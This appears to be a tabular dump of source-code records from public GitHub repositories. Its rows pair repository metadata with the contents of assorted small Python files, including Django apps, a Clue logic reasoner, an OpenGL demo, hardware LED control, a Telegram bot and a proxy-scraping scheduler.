blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 5 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 41 | license_type stringclasses 2
values | repo_name stringlengths 7 96 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 58
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 12.7k 662M ⌀ | star_events_count int64 0 35.5k | fork_events_count int64 0 20.6k | gha_license_id stringclasses 11
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 43
values | src_encoding stringclasses 9
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 7 5.88M | extension stringclasses 30
values | content stringlengths 7 5.88M | authors listlengths 1 1 | author stringlengths 0 73 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
84178e114b1f0fb6622e34ee24e0a583a0796c36 | d34f4feef39eca8e7f8beb7dfe3378925fda0e5f | /python/Basic Grammer1/python059.py | 4bec23b392b7a71eb183005b4a4f7df096ac5226 | [] | no_license | chryred/sources | ba34b4275ed767cb4a559bdcbbe51a352b8102e0 | b280bef55682a5d3b16a4153939550c2f1b5b8da | refs/heads/master | 2020-12-30T13:10:04.364161 | 2017-11-05T14:02:01 | 2017-11-05T14:02:01 | 91,341,527 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | import time
count = 1
try:
while True:
print(count)
count += 1
time.sleep(0.5)
except KeyboardInterrupt as ki:
print("사용자에 의해 프로그램이 중단되었습니다")
| [
"chryred@naver.com"
] | chryred@naver.com |
6039f8ee977f5399c2aaed1a5625f75043522394 | 753f729f33a1b00a0a7f5c78d217cc4c609aee6f | /n8_ModelSerializerWithValidation/myapp.py | 0a8637deb4c33d80069f5136d3b71d71f0090cd9 | [] | no_license | nayan-gujju/DRF-Code | 874114a861042d558112f1a8ec95daf1356d5493 | 6fb3fdd5dde352e7b6e3a7363da0e7a3057b1ede | refs/heads/master | 2023-08-06T12:42:23.551603 | 2021-10-06T11:34:54 | 2021-10-06T11:34:54 | 404,650,413 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,075 | py | import requests
from json import dumps
URL = 'http://127.0.0.1:8000/studentapi/'
print('1 :- Show Data ')
print('2 :- Post Data ')
print('3 :- Update Data ')
print('4 :- Delete Data ')
print('0 :- Exit')
i = int(input('Select :-'))
if i != 0:
if i == 1:
def get_data(id =None ):
data = {}
... | [
"nayangujarati007@gmail.com"
] | nayangujarati007@gmail.com |
234879b23d0f516cf43d2ef77525f8aafa7dfe87 | 3ac2978e0cf7550a72912dc446ee436d963b8a9b | /Api/api/posts/serializers.py | a1d760e3a30f54d0b3c466568fefcb6bc407982c | [] | no_license | baurzhansagyndyk/diplomjoba | edefe64e2f86ed141182ac96fb1dbaee1a9751ee | 376e4b4944926a71104e941134c56abfad1783b6 | refs/heads/master | 2023-04-25T23:58:11.224463 | 2021-06-06T19:42:04 | 2021-06-06T19:42:04 | 374,419,438 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,131 | py | from django.contrib.auth.models import User, Group
from rest_framework import serializers
from .models import Post, Report
class UserSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = User
fields = ['url', 'username', 'email', 'groups']
class GroupSerializer(serializers.Hype... | [
"baurzhan"
] | baurzhan |
bfc81e4e800e05d87e1a5e36947322ad5a6bce85 | 81e583ad7c3767b06059952754fa49c2188dfd7e | /3d plot.py | 7db20aaee40c6266c37335971f48f87a6e8c5f8d | [] | no_license | credo-science/Simple-3D-presentation | 96b97e7189b58980b3d3471c743c9ec1218d67a9 | 4590c1ba3d29a8c00995315e34fdf9b16db20c1c | refs/heads/master | 2020-04-18T22:03:23.189372 | 2019-01-28T05:16:33 | 2019-01-28T05:16:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 959 | py | # library
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns
# Get the data (csv file is hosted on the web)
url = 'detekcja.csv'
data = pd.read_csv(url)
# Transform it to a long format
df=data.unstack().reset_index()
df.columns=["X","Y","Z"]... | [
"noreply@github.com"
] | noreply@github.com |
06455ac868fa8b59f3ec5fdc2c99548523c3b2ba | ea1fa56aae9c8d06aaa6f8e44feb2c9ccce970ec | /company/interviewcalendar/src/mapping.py | 13e2829c497455cfd40f8793be72f42825be78a5 | [] | no_license | longnguyen1981/InterviewCalendar | 21afb631ffa56824ba96ebc3c27800c50f43dc33 | abbe50eace64deb4233d7d8b11505962cd51dc67 | refs/heads/master | 2020-04-05T18:01:33.481283 | 2018-11-12T21:48:49 | 2018-11-12T21:48:49 | 157,085,626 | 0 | 0 | null | 2018-11-12T21:48:50 | 2018-11-11T14:07:26 | null | UTF-8 | Python | false | false | 1,774 | py | def validate_time(list_data: list):
"""
validate if time is not even
Args:
list_data: list of data
Returns:
dict {'code': <200 or failed code 415>, 'response': <either list of data or failed message>}
"""
out = dict(code=200, response=list_data)
validate_data = [item for item... | [
"hoanglong.nguyen@kaufhof.de"
] | hoanglong.nguyen@kaufhof.de |
b966afc07ae45b802955e9351ca176779ee37cfa | 26258dbf5158a841c46f2ceb9bf780e3942f5440 | /examples/test-analog.py | 0965e5b0023d432429b04e850ca64c26bd32e3ba | [
"MIT"
] | permissive | hongaar/ringctl | 9d4832f32d91adf4ee65a43a08b74a0d9785cee4 | 9e2adbdf16e85852019466e42be9d88a9e63cde5 | refs/heads/main | 2023-01-14T14:35:23.259354 | 2020-11-25T00:30:51 | 2020-11-25T00:30:51 | 314,072,122 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,192 | py | import time
from rpi_ws281x import *
import busio
import digitalio
import board
import time
import numpy
from easing_functions import *
import adafruit_mcp3xxx.mcp3008 as MCP
from adafruit_mcp3xxx.analog_in import AnalogIn
# LED strip configuration:
LED_COUNT = 150 # Number of LED pixels.
LED_PIN = 1... | [
"hongaar@gmail.com"
] | hongaar@gmail.com |
7e8cc3b4ca930ac19369e2a13d9e2d0f32445536 | c3f8a8b903aa2a37b431d987706c4fcd5f427898 | /tools/py/driver/__init__.py | e134aac7c9c10e05e88d8985cda76ad024987e4f | [
"Apache-2.0"
] | permissive | distobj/versa | d7102a0b6940eba4bf673296fcb2cefeca34e1b8 | fd9461937181bdbbd91b513ffaed6ec73050c2b3 | refs/heads/master | 2021-01-09T08:11:47.446098 | 2014-12-03T14:52:22 | 2014-12-03T14:52:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,516 | py | '''
[
(origin, rel, target, {attrname1: attrval1, attrname2: attrval2}),
]
The optional attributes are metadata bound to the statement itself
'''
class connection_base(object):
def query(expr):
'''Execute a Versa query'''
raise NotImplementedError
def match(self, origin=None, rel=None, ... | [
"uche@ogbuji.net"
] | uche@ogbuji.net |
8d95f2bc1c41be1b6ca1d84d99bd5e5e5bc06e88 | 0602950895302e66a09fa04341bd2261e88b7c9a | /py/runs.py | 4844891237db8d969a60b986a28179e152f694a5 | [] | no_license | DriftingPig/Obi-Metallica | 813b6980a8a13f94468f32baf4f3565e0d0ee866 | c8c53ff429df2a5ee6dfbd4d6c3f3fd6a313a387 | refs/heads/master | 2021-01-08T16:43:55.713559 | 2020-03-12T13:37:38 | 2020-03-12T13:37:38 | 242,082,180 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,137 | py | """
Grabs, configures, and otherwise sets up a production run on eBOSS DR3 data or DR5 data
"""
import os
from glob import glob
import numpy as np
from obiwan.common import stack_tables
from astrometry.util.fits import fits_table, merge_tables
DOWNLOAD_ROOT = "http://portal.nersc.gov/project/desi/users/kburleigh/obi... | [
"kong.291@osu.edu"
] | kong.291@osu.edu |
91a1d4a3089e4593c075092accda336a098f6154 | 0329c2a6cb7fba886bb777bfc478d11244f7d6e2 | /firstAp/apps.py | c59938abb4bf3905866b59350f519fb8def01693 | [] | no_license | rutebuka1/lndjango | bb211a04eef3b7d00dfd2ba923e05324e2c60e64 | 811309f3652b094b2de008dbb5c6acba340d9355 | refs/heads/master | 2022-02-19T09:53:22.102866 | 2019-09-14T11:53:48 | 2019-09-14T11:53:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 154 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.apps import AppConfig
class FirstapConfig(AppConfig):
name = 'firstAp'
| [
"kaobedience@gmail.com"
] | kaobedience@gmail.com |
8c9733a8da3900e35bc172e55780f5d29ff4fb47 | 841a6dab2b197cb32b6918442c639fa50c1c71b3 | /source/MyHandler.py | 5c1a91916495e422c68277109ad005e7a9195e76 | [
"MIT"
] | permissive | robertolrodriguez/Raspberry-Pi-Web-Server-With-Python | cd1ab0905069c98ece4455bac075cbbd9af8632b | 7f7f331d2f653a67e1aa110f24fe981d9dc93baa | refs/heads/master | 2021-04-12T11:54:35.679474 | 2013-10-14T13:29:00 | 2013-10-14T13:29:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 951 | py | import SimpleHTTPServer
import urlparse
class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
parsedParameters = urlparse.urlparse(self.path)
queryParsed = urlparse.parse_qs(parsedParameters.query)
if ( 'name' in queryParsed ):
self.processMyRequest(queryParsed)
else:... | [
"luis.ibanez@kitware.com"
] | luis.ibanez@kitware.com |
66a5a53864020275cc46b410cc8333aecbbe67da | ea4e3ac0966fe7b69f42eaa5a32980caa2248957 | /download/unzip/pyobjc/pyobjc-14/pyobjc/stable/PyOpenGL-2.0.2.01/OpenGL/Demo/twburton/knot.py | f0404071989f56ef5d9c7cbff8c7a85061a490bc | [] | no_license | hyl946/opensource_apple | 36b49deda8b2f241437ed45113d624ad45aa6d5f | e0f41fa0d9d535d57bfe56a264b4b27b8f93d86a | refs/heads/master | 2023-02-26T16:27:25.343636 | 2020-03-29T08:50:45 | 2020-03-29T08:50:45 | 249,169,732 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,450 | py | #!
# This is statement is required by the build system to query build info
if __name__ == '__build__':
raise Exception
from OpenGL.GL import *
from OpenGL.GLU import *
from OpenGL.GLE import *
from OpenGL.GLUT import *
from math import *
from Numeric import *
from random import *
import string
def ... | [
"hyl946@163.com"
] | hyl946@163.com |
cb04d5f9ab7bfb0965d62e71f74e129d11a3160b | a045055cb41f7d53e1b103c3655a17dc4cd18d40 | /python-master/kubernetes/test/test_v1_service_account.py | f293473d1f873a3871948a5262490833566096ea | [] | no_license | 18271693176/copy | 22f863b180e65c049e902de0327f1af491736e5a | ff2511441a2df03817627ba8abc6b0e213878023 | refs/heads/master | 2020-04-01T20:20:28.048995 | 2018-11-05T02:21:53 | 2018-11-05T02:21:53 | 153,599,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 962 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.10.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import os
import sys
i... | [
"906317366@qq.com"
] | 906317366@qq.com |
52c70e0265b9a498a97f3d6c35b8281bcd8ccf57 | b648f465536a0f17b3dd966c80257b718210c5df | /gallery/migrations/0001_initial.py | 9fd5e7d2cc9f725e07e44808988325bee258aff3 | [] | no_license | Apamela/Gallery-pro | b729cdb21f67107f179777eafc548ba5b43ce7ed | c9acd332d67f4afacc33b5bf6617b26429725c07 | refs/heads/master | 2021-09-08T04:12:17.608822 | 2019-10-14T16:47:33 | 2019-10-14T16:47:33 | 214,118,488 | 0 | 0 | null | 2021-06-10T22:05:34 | 2019-10-10T07:41:04 | Python | UTF-8 | Python | false | false | 1,501 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2019-10-12 15:46
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.Create... | [
"pamelab.desire@gmail.com"
] | pamelab.desire@gmail.com |
fa442443f5afc75a28e355be24d6016dcee832ba | 4c2cf0ec1869e4fa570161fa64ce69d64647e566 | /DiRuggiero/growth_curve_plot.py | a51117db1af23010d5151a3d5904b64a323a7b1c | [] | no_license | hikari8/Rotation-Lab-Things | add3ea6bbb7f076753f2d5a6dbc9543334c61855 | 8ed9e6fdf5355b1ad7fd78ebe2c72e1d1b188881 | refs/heads/master | 2020-04-03T16:51:01.086901 | 2018-11-01T03:20:36 | 2018-11-01T03:20:36 | 155,421,651 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,458 | py | #!/usr/bin/env python3
"""
./growth_curve.py
Growth curve plots for Hv with CRISPRi plasmid"""
import sys
import matplotlib.pyplot as plt
import numpy as np
raw_data = open(sys.argv[1])
name_of_strain = sys.argv[1].split(".")[0]
interval = []
time = []
absorbance = []
for line in raw_data:
if line.startswith("... | [
"gtaumoe1@jhu.edu"
] | gtaumoe1@jhu.edu |
330d9f2cf0480bebe9ccddf6759547881c10cc82 | 76501e7cc77a15b77eed5b56a686410c19fb7aa8 | /2-2/testCases.py | 1c50fcf1ac7083da3f201fee0d86fc6b5e2ca1a1 | [] | no_license | Kobebryant2408/Deep-learning-task | 91016f2a1c409d5f4e7845a069ef66f6f63441ac | b0a00cdabb0ebd718775f86951f61af7374bd426 | refs/heads/master | 2020-03-27T21:40:58.540854 | 2018-12-17T09:00:32 | 2018-12-17T09:00:32 | 147,163,030 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,247 | py | # -*- coding: utf-8 -*-
"""
Created on Wed Jul 25 17:00:47 2018
@author: kobe24
"""
import numpy as np
def update_parameters_with_gd_test_case():
np.random.seed(1)
learning_rate = 0.01
W1 = np.random.randn(2, 3)
b1 = np.random.randn(2, 1)
W2 = np.random.randn(3, 3)
b2 = np.random.randn(3, ... | [
"2738807738@qq.com"
] | 2738807738@qq.com |
6e16eb02377cc610a5fc96b60340c6eb5e836481 | 99701affb7ae46c42c55484f3301d59f79294a10 | /project/Examples/Examples/PP2E/Gui/Intro/gui6old.py | 0040a9f75fa64b7ac4def2b0ad5feaaf1eb761dc | [] | no_license | inteljack/EL6183-Digital-Signal-Processing-Lab-2015-Fall | 1050b9e9bddb335bf42b7debf2abebe51dd9f9e0 | 0f650a97d8fbaa576142e5bb1745f136b027bc73 | refs/heads/master | 2021-01-21T21:48:21.326372 | 2016-04-06T20:05:19 | 2016-04-06T20:05:19 | 42,902,523 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 563 | py | from Tkinter import * # get the Tk module
class Hello(Frame): # subclass our app
def __init__(self, parent=None, config={}):
Frame.__init__(self, parent, config) # do superclass init
self.pack()
self.make_widgets() ... | [
"inteljack2008@gmail.com"
] | inteljack2008@gmail.com |
6902d0c4cc311ab56fc72f78e2c3e8f7273167fa | 0f48e585a9ea98ba95d34a9c3fbe36f94cbe00ea | /fabric_checker.py | 7420f4d25cceea30ff30893a690d7b3ec7289d39 | [] | no_license | jose-d/check-opa-fabric | 3c7f50aebc5dbeed56dee2d0c45308396350b30c | 8496504dd0887cf483f23682fbcb6a2b79568e7e | refs/heads/master | 2020-03-23T07:38:56.551488 | 2018-08-14T15:17:12 | 2018-08-14T15:17:12 | 141,283,414 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,616 | py | from icinga import Icinga
import sys
from icinga import IcingaCheckResult
if __name__ == "__main__":
print "this file should be not executed standalone"
sys.exit(1)
# static class providing checking of fabric
class FabricChecker:
@staticmethod
def process_check_output(crit, warn, os, rc, message):
... | [
"josef.dvoracek@atos.net"
] | josef.dvoracek@atos.net |
1190eac236acdec39872c706d639e641e14c6281 | b979e1cb7beb6a0c75820435f592646e2e8e5c97 | /docs/source/conf.py | 9f77af81f3d733c937522560daeac033d8334a7b | [] | no_license | nemani/sphinx-bug-report-example | aa6c1ae9e20787f6b36b48ebb7018b6560f29e50 | 94e05f10ba63194f60531f733aa564c5d8604927 | refs/heads/main | 2023-06-11T22:27:15.151333 | 2021-07-06T16:30:28 | 2021-07-06T16:30:28 | 383,528,849 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,904 | py | # Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... | [
"nemani@fb.com"
] | nemani@fb.com |
5ef8e3ab3a6681f1244d65bf703e2d9f3ea06bff | 260f11f7a38fade189da46ff7f7d546ed73ef365 | /examples/try2_.py | a7d607cbe4adb88e50665e3ddce3b14a3913228b | [] | no_license | ttm/figgus | db467317521ee408e55c89972f6b721ace5c7ffb | 029f262efa1b6a387d5550dd98f1857e65f4a827 | refs/heads/master | 2021-07-02T18:12:22.678885 | 2017-09-25T06:49:36 | 2017-09-25T06:49:36 | 104,550,937 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,935 | py | import figgus as f
n=4
grains=[f.UnitGrain(),f.UnitGrain(),f.UnitGrain(),f.UnitGrain()]
s=f.Sequence(grains)
###########
# Construction loop: in each compass,
# I choose some parameters for our sequence,
# More sppeciffically, i choose parameters for
# each of the 4 units/grains and a permutation
# The permutation g... | [
"rfabbri@ubuntu.(none)"
] | rfabbri@ubuntu.(none) |
fb9f17fd371272d0ccc502ffd6dc01fb1e3d164f | 1b7c2c267532f92aad464f23d9e89f2e4510379d | /baekjun-online-judge/No-1654.py | 02ea7bd5520aa321d40706f87c119dab92912d10 | [] | no_license | Donkey-1028/algorithms | 0972e1861e9e0ecb0d684c1e3e1e6c1de5dbbaa0 | 7c55b37c6e16904b142bd5a2b7550a158e0e50d3 | refs/heads/master | 2020-12-06T14:58:37.635964 | 2020-05-04T07:11:27 | 2020-05-04T07:11:27 | 232,490,972 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,403 | py | """
집에서 시간을 보내던 오영식은 박성원의 부름을 받고 급히 달려왔다.
박성원이 캠프 때 쓸 N개의 랜선을 만들어야 하는데 너무 바빠서 영식이에게 도움을 청했다.
이미 오영식은 자체적으로 K개의 랜선을 가지고 있다.
그러나 K개의 랜선은 길이가 제각각이다.
박성원은 랜선을 모두 N개의 같은 길이의 랜선으로 만들고 싶었기 때문에 K개의 랜선을 잘라서 만들어야 한다.
예를 들어 300cm 짜리 랜선에서 140cm 짜리 랜선을 두 개 잘라내면 20cm 은 버려야 한다.
(이미 자른 랜선은 붙일 수 없다.)
편의를 위해 랜선을 자르거나 만들 때 손실되는 길이는 없다고... | [
"anbo10283182@gmail.com"
] | anbo10283182@gmail.com |
04a53cc87ebb44f17fe8c63c49b8877195ff9ee3 | b227335e3afe41ea5f23864d611899e5d38eaadd | /venv/Scripts/pip-script.py | 85f50fb721d4d9f24fa53ce00e8c400eddf235cf | [] | no_license | snowb2/bookmark_test2 | a6c0a8d48720b1527c8be1f694965f1b9d80f070 | 0b9061f738ce5590f30821b4c14754b66af6af08 | refs/heads/master | 2020-10-01T13:32:33.405419 | 2019-12-12T07:54:08 | 2019-12-12T07:54:08 | 227,547,685 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 408 | py | #!"C:\Big Data\Django\Work1\bookmark\venv\Scripts\python.exe"
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
... | [
"tableegg@gmail.com"
] | tableegg@gmail.com |
8fe143313247277bd576206612f80d0a27dbdd82 | 29dbe768bf42862fdfdb1e7586d3cbbd6efe74e9 | /tests/features/steps/assignments_repo/test_assignments_get.py | a4a0cea7d1f3ca58e8248a68825fb2765a33f8bd | [
"Apache-2.0"
] | permissive | itayginz/dtlpy | d65628897ca333c5c50c7e1237f93a204d2427a3 | 5bdf61502b452fb3793c1a6864a3cfe771e3007f | refs/heads/master | 2022-07-20T08:08:15.525874 | 2020-05-14T09:06:08 | 2020-05-14T09:06:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 677 | py | import behave
@behave.when(u'I get Assignment by "{get_method}"')
def step_impl(context, get_method):
if get_method == 'id':
context.assignment_get = context.task.assignments.get(assignment_id=context.assignment.id)
elif get_method == 'name':
context.assignment_get = context.task.assignments.g... | [
"aharon@dataloop.ai"
] | aharon@dataloop.ai |
01d0417b8e6bf905a6cdd6631c411666c90de6c7 | 25c72675fe0105e255aa353eee87ba31ebeda2c7 | /python code/polynomial.py | d12978ac7911fdbf39540e23090449355e23969f | [] | no_license | rehankarol09/PythonRepo | ea0bf9e52c5c3e282c180e49d82768140a2c8664 | 499a4a767262ecc00f38a9740ee3a2d28f32bfad | refs/heads/main | 2023-03-25T02:48:08.187166 | 2021-03-21T10:07:37 | 2021-03-21T10:07:37 | 349,957,959 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 220 | py | class Poly(object):
def __init__(self, size):
exponent=[]
coeficent=[]
nott=size
def insert(self):
print(self.nott)
for i in range(self.nott):
sel
| [
"noreply@github.com"
] | noreply@github.com |
a8267c3412a434387e9ec1e441dac6841f9a13b0 | 607a641680b30e0049c60381b27f1c7d927edc16 | /newyolo/urls.py | 05b90743a1b99b35d4309a67b64fc24aabb8baca | [] | no_license | iyolo/newyolo | d0091dcc170df8489ca24b379b0056bcb4b40ace | 0016bcda53745f315e2ecb457936423e56c3fe2a | refs/heads/master | 2022-09-25T15:25:38.843100 | 2022-08-19T18:59:27 | 2022-08-19T18:59:27 | 227,032,744 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 848 | py | """newyolo URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based... | [
"49433145+iyolo@users.noreply.github.com"
] | 49433145+iyolo@users.noreply.github.com |
fe51816c5ab1c90abaeec0fb56163d18ce160d0d | 3639e44738faa9592df5f7e200e649494018632f | /smallProjects/Clue Solver/clue_reasoner.py | 0ae55e7ccd03060f96b4180be9a9d79351a302e9 | [] | no_license | ashleygw/AI | 6218c094b751d7844f0427c4fc9b5b22fb2c5c13 | 64411485a9b27f55345ee28794f5b1dc6a6867d8 | refs/heads/master | 2021-06-19T01:38:15.791616 | 2019-06-29T19:50:55 | 2019-06-29T19:50:55 | 115,844,961 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,925 | py | '''clue_reasoner.py - project skeleton for a propositional reasoner
for the game of Clue. Unimplemented portions have the comment "TO
BE IMPLEMENTED AS AN EXERCISE". The reasoner does not include
knowledge of how many cards each player holds.
Originally by Todd Neller
Ported to Python by Dave Musicant
Ported to Pytho... | [
"noreply@github.com"
] | noreply@github.com |
8ff456f50d4ccbe050a293208a0f003f6c1867c2 | f3392900cc40ec6b33b48582abbffb8bef05e8ec | /pagelocator/mha15_locator.py | 3a3b94a0b3b247674ab8f69fa70affa443b0383a | [] | no_license | zhqnau/pytest-auto | 1c2bcb761379573dd1eda786930977aa39075011 | ef38a6c488f761ce38a0ab25a3737cd441b5f901 | refs/heads/master | 2023-01-16T02:31:09.632506 | 2020-11-27T12:20:36 | 2020-11-27T12:20:36 | 316,493,009 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,698 | py | from selenium.webdriver.common.by import By
open1menu = (By.XPATH, '//i[@title="展开菜单"]')
doc1 = "选择菜单"
doc2 = "资产分配管理"
level1menu = (By.XPATH, '//div[contains(text(),"统一门户子系统")]')
level2menu = (By.XPATH, '//span[text()="资产管理"]')
level3menu = (By.XPATH, '//span[text()="资产评估管理"]')
level4menu = (By.XPATH, '//span[text()=... | [
"1065966594@qq.com"
] | 1065966594@qq.com |
891f68a8b691e05dfb245b2825d8c9c05a83c14e | 4cf3f8845d64ed31737bd7795581753c6e682922 | /.history/main_20200118155711.py | 579c251674633884c265e4329491161f02edf12d | [] | no_license | rtshkmr/hack-roll | 9bc75175eb9746b79ff0dfa9307b32cfd1417029 | 3ea480a8bf6d0067155b279740b4edc1673f406d | refs/heads/master | 2021-12-23T12:26:56.642705 | 2020-01-19T04:26:39 | 2020-01-19T04:26:39 | 234,702,684 | 1 | 0 | null | 2021-12-13T20:30:54 | 2020-01-18T08:12:52 | Python | UTF-8 | Python | false | false | 915,259 | py | from telegram.ext import Updater, CommandHandler
import requests
import re
# API call to source, get json (url is obtained):
contents = requests.get('https://random.dog/woof.json').json()
image_url = contents['url']
def get_url():
contents = requests.get('https://random.dog/woof.json').json()
url = cont... | [
"ritesh@emerald.pink"
] | ritesh@emerald.pink |
26e2f5d97ebfc552abeecbc5942fcba6d39ee7f2 | a2c075a0f8fc92141da768254c0c3f09553da93e | /main.py | 94b1002c20e5b5f92f6c304e399cb7efd51b445d | [] | no_license | memowii/DictionaryDataDownloader | a06f041b8d7c243ea70b3d64512d5ad52a86915f | 6f8bca4d9b57fdf7c309c126e6cd192c2beac2b2 | refs/heads/master | 2020-04-03T13:56:44.549055 | 2018-12-10T23:17:16 | 2018-12-10T23:17:16 | 155,305,538 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 910 | py | from Cambridge import Cambridge
from DB import DB
from time import sleep
cambridge_dictionary = Cambridge()
db = DB()
duolingo_words = db.getAllDuolingoWords()
for duolingo_word in duolingo_words:
if len(duolingo_word['word'].split(' ')) == 1 \
and duolingo_word['word'].find("'") == -1 \
... | [
"memogl25@gmail.com"
] | memogl25@gmail.com |
2910215df5662e14433723317bf39426b8654cb6 | f2813ce991e199c9d92aff60e219bc187dfb0748 | /core/proxy_spider/run_spiders.py | 87ea44169da082e01f212c4cbe6c10b8ed1e073e | [] | no_license | xiaoweihong/proxy_pool | 3fa02018f983b3cd2e3f19b7950a95be79bba1b9 | 7838911cc6cb981001de63c8c892af7831ddb791 | refs/heads/master | 2020-09-06T13:06:00.214918 | 2019-11-12T11:34:24 | 2019-11-12T11:34:24 | 220,431,746 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,082 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/11/11 下午7:01
# @Author : xiaowei
# @Site :
# @File : run_spiders.py
# @Software: PyCharm
import importlib
import schedule
from gevent import monkey
monkey.patch_all()
from gevent.pool import Pool
from settings import PROXY_SPIDERS
from core.proxy_validato... | [
"403828237@qq.com"
] | 403828237@qq.com |
4136881c36e0e955515ea054f6ca6d8f13d1eb28 | 67299f6f37e9ab686777885381b445d6cf1bb663 | /venv/Scripts/easy_install-script.py | 1f0691a0627364e03bb82da85a07355f811685c7 | [] | no_license | zySuperfic/Sudden | b96770bd7c0acb67e19df0c5adcf2358399d6ab0 | 5e9cf318be1ed39c13dbaf4bcbcbf390fce4fae1 | refs/heads/main | 2023-01-03T00:15:53.281798 | 2020-10-22T08:22:33 | 2020-10-22T08:22:33 | 265,185,939 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 454 | py | #!C:\Users\Administrator\PycharmProjects\xin\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==39.1.0','console_scripts','easy_install'
__requires__ = 'setuptools==39.1.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw... | [
"yzclysmz@163.com"
] | yzclysmz@163.com |
de02b831669abf07289958273cf2d69365006782 | 784ae6cf53e93c605388006a4a5afd1e4c0f5535 | /data_management/sanitize_jokes.py | 586bfc32b4ec984c50c611c77ed2c49b309b1486 | [] | no_license | mjshalash/gpt-2-joker-bot | 34b3b6c2a05b0deab9fbc86dd9b2cefcacb24162 | d305d90927096c05f1c44d7a0b819df1e3fa726d | refs/heads/master | 2022-04-19T13:06:56.590377 | 2020-04-04T18:37:49 | 2020-04-04T18:37:49 | 234,339,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,452 | py | import pandas
# Establish list of innappropriate terms
bad_terms = ['marijuana', 'semen', 'strippers', 'circumcision', 'srascist', 'piss', 'pissed', 'slave', 'slaves', 'porn', 'condom', 'sex', 'shit', 'shits',
'retarded', 'vagina', 'cunt', 'penis', 'ass', 'gays', 'gay', 'black', 'sex']
# Read csv into Da... | [
"mjshalash@rci4u.com"
] | mjshalash@rci4u.com |
3bb909fd60f26739d652a86cd0406538f9f0a0b5 | 961e32399c5536c1fbcebffe009c1351795600d8 | /google/ads/google_ads/v0/proto/enums/tracking_code_page_format_pb2.py | f434ce631f4d5a4a15225451d7367b110b97db66 | [
"Apache-2.0",
"LicenseRef-scancode-generic-cla"
] | permissive | NikolaKikovski/google-ads-python | d02e518a2dffbbf061b9a6edca32024ae68afbf1 | 14173d941c1001e64f8b90b87e392cb1c2f74261 | refs/heads/master | 2020-04-08T14:56:12.009954 | 2018-11-01T21:23:13 | 2018-11-01T21:23:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | true | 3,767 | py | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads_v0/proto/enums/tracking_code_page_format.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _me... | [
"noreply@github.com"
] | noreply@github.com |
